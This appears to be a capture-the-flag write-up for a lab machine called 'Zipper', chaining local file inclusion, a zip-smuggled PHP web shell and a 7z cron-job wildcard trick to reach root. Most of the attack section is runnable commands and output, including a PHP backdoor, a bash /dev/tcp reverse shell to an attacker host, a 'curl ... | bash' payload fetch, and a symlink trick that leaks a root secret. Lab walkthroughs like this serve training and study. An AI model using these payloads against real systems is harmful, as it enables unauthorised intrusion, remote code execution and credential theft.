Skip to content
HackIndex.io

Zipper Writeup - Proving Grounds

Hard Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

The Husky Hacker

sysadmin

Zipper chains a file upload with a local file inclusion to execute PHP smuggled inside a zip archive through the zip:// wrapper, for a shell as www-data. A root cron job that compresses uploads with 7z is then tricked, via a symlink and a crafted list file, into leaking a root-owned secret that doubles as the root password.

Reconnaissance

Nmap

Scan the target.

┌──(kali㉿kali)-[~]
└─$ nmap $TARGET_IP -sCV 
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 8.2p1 Ubuntu
80/tcp  open   http    Apache httpd 2.4.41 (Ubuntu) - "Zipper"
873/tcp open   rsync
Explain command
-sCV Run the default scripts and probe service versions.

The web app on port 80 has an upload page. Its home link reveals how pages are loaded.

Exploitation

LFI discovery

The home button links to index.php?file=home, and .php is appended automatically to whatever the file parameter holds. Confirm it with the PHP filter wrapper to read the script’s own source.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/index.php?file=php://filter/convert.base64-encode/resource=index" 
<?php
$file = $_GET['file'];
if(isset($file)) { include("$file".".php"); }
else { include("home.php"); }
?>

Confirmed: the include always appends .php, which normally would block including a raw payload file. The upload feature plus zip archives gets around that.

LFI + zip upload RCE

Create a small PHP backdoor.

<?php echo system($_GET['cmd']); ?>

Upload it through the web app’s upload feature, which stores it inside a zip archive under uploads/.

┌──(kali㉿kali)-[~]
└─$ curl -F "file=@exploit.php" http://$TARGET_IP/upload.php 
uploads/upload_1627661999.zip

Include the zipped PHP file through the LFI using PHP’s zip:// wrapper, which does not require a .php extension on the archive member itself.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/index.php?file=zip://uploads/upload_1627661999.zip%23exploit&cmd=whoami" 
www-data

Code execution confirmed. Host a reverse-shell script and trigger it the same way.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ echo "bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'" > shell.sh
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
┌──(kali㉿kali)-[~]
└─$ curl -G "http://$TARGET_IP/index.php" --data-urlencode "file=zip://uploads/upload_1627661999.zip#exploit" --data-urlencode "cmd=curl $ATTACKER_IP/shell.sh | bash" 
www-data@zipper:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data and local.txt.

Privilege Escalation

7z wildcard injection in a root cron job

A root cron job runs a backup script every minute.

┌──(kali㉿kali)-[~]
└─$ cat /etc/crontab 
* * * * * root bash /opt/backup.sh
┌──(kali㉿kali)-[~]
└─$ cat /opt/backup.sh 
#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log

The script compresses every *.zip in the uploads directory with 7za, using /root/secret as the archive password. The unquoted wildcard is exploitable: 7z’s listfile feature can be abused to force it to read an arbitrary file and leak it into the error log. Create a symlink to the secret named like a zip file, and a matching listfile marker for it.

┌──(kali㉿kali)-[~]
└─$ ln -s /root/secret /var/www/html/uploads/enox.zip
┌──(kali㉿kali)-[~]
└─$ touch /var/www/html/uploads/@enox.zip

Prefixing enox.zip with @ makes 7z treat it as a listfile. Since the target of the symlink is not itself a valid zip filename pattern, 7z emits an error naming the resolved path. Wait for the cron job to fire, then read the log.

┌──(kali㉿kali)-[~]
└─$ cat /opt/backups/backup.log 
/root/secret : $ROOT_PASSWORD

The leaked value is also the root password.

┌──(kali㉿kali)-[~]
└─$ su root 
Password: $ROOT_PASSWORD
root@zipper:/var/www/html/uploads# id
uid=0(root) gid=0(root) groups=0(root)

The 7z wildcard trick leaks the root secret, which doubles as a valid login, giving a root shell.

Related

LFI to Remote Code Execution
Blog

LFI to Remote Code Execution

Exploit Local File Inclusion vulnerabilities to achieve RCE via log poisoning, PHP wrappers, /proc/s...
File Upload Exploitation
Blog

File Upload Exploitation

Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validatio...
Cron Job Privilege Escalation
Blog

Cron Job Privilege Escalation

Exploit misconfigured cron jobs running as root to escalate privileges via writable scripts, PATH hi...

References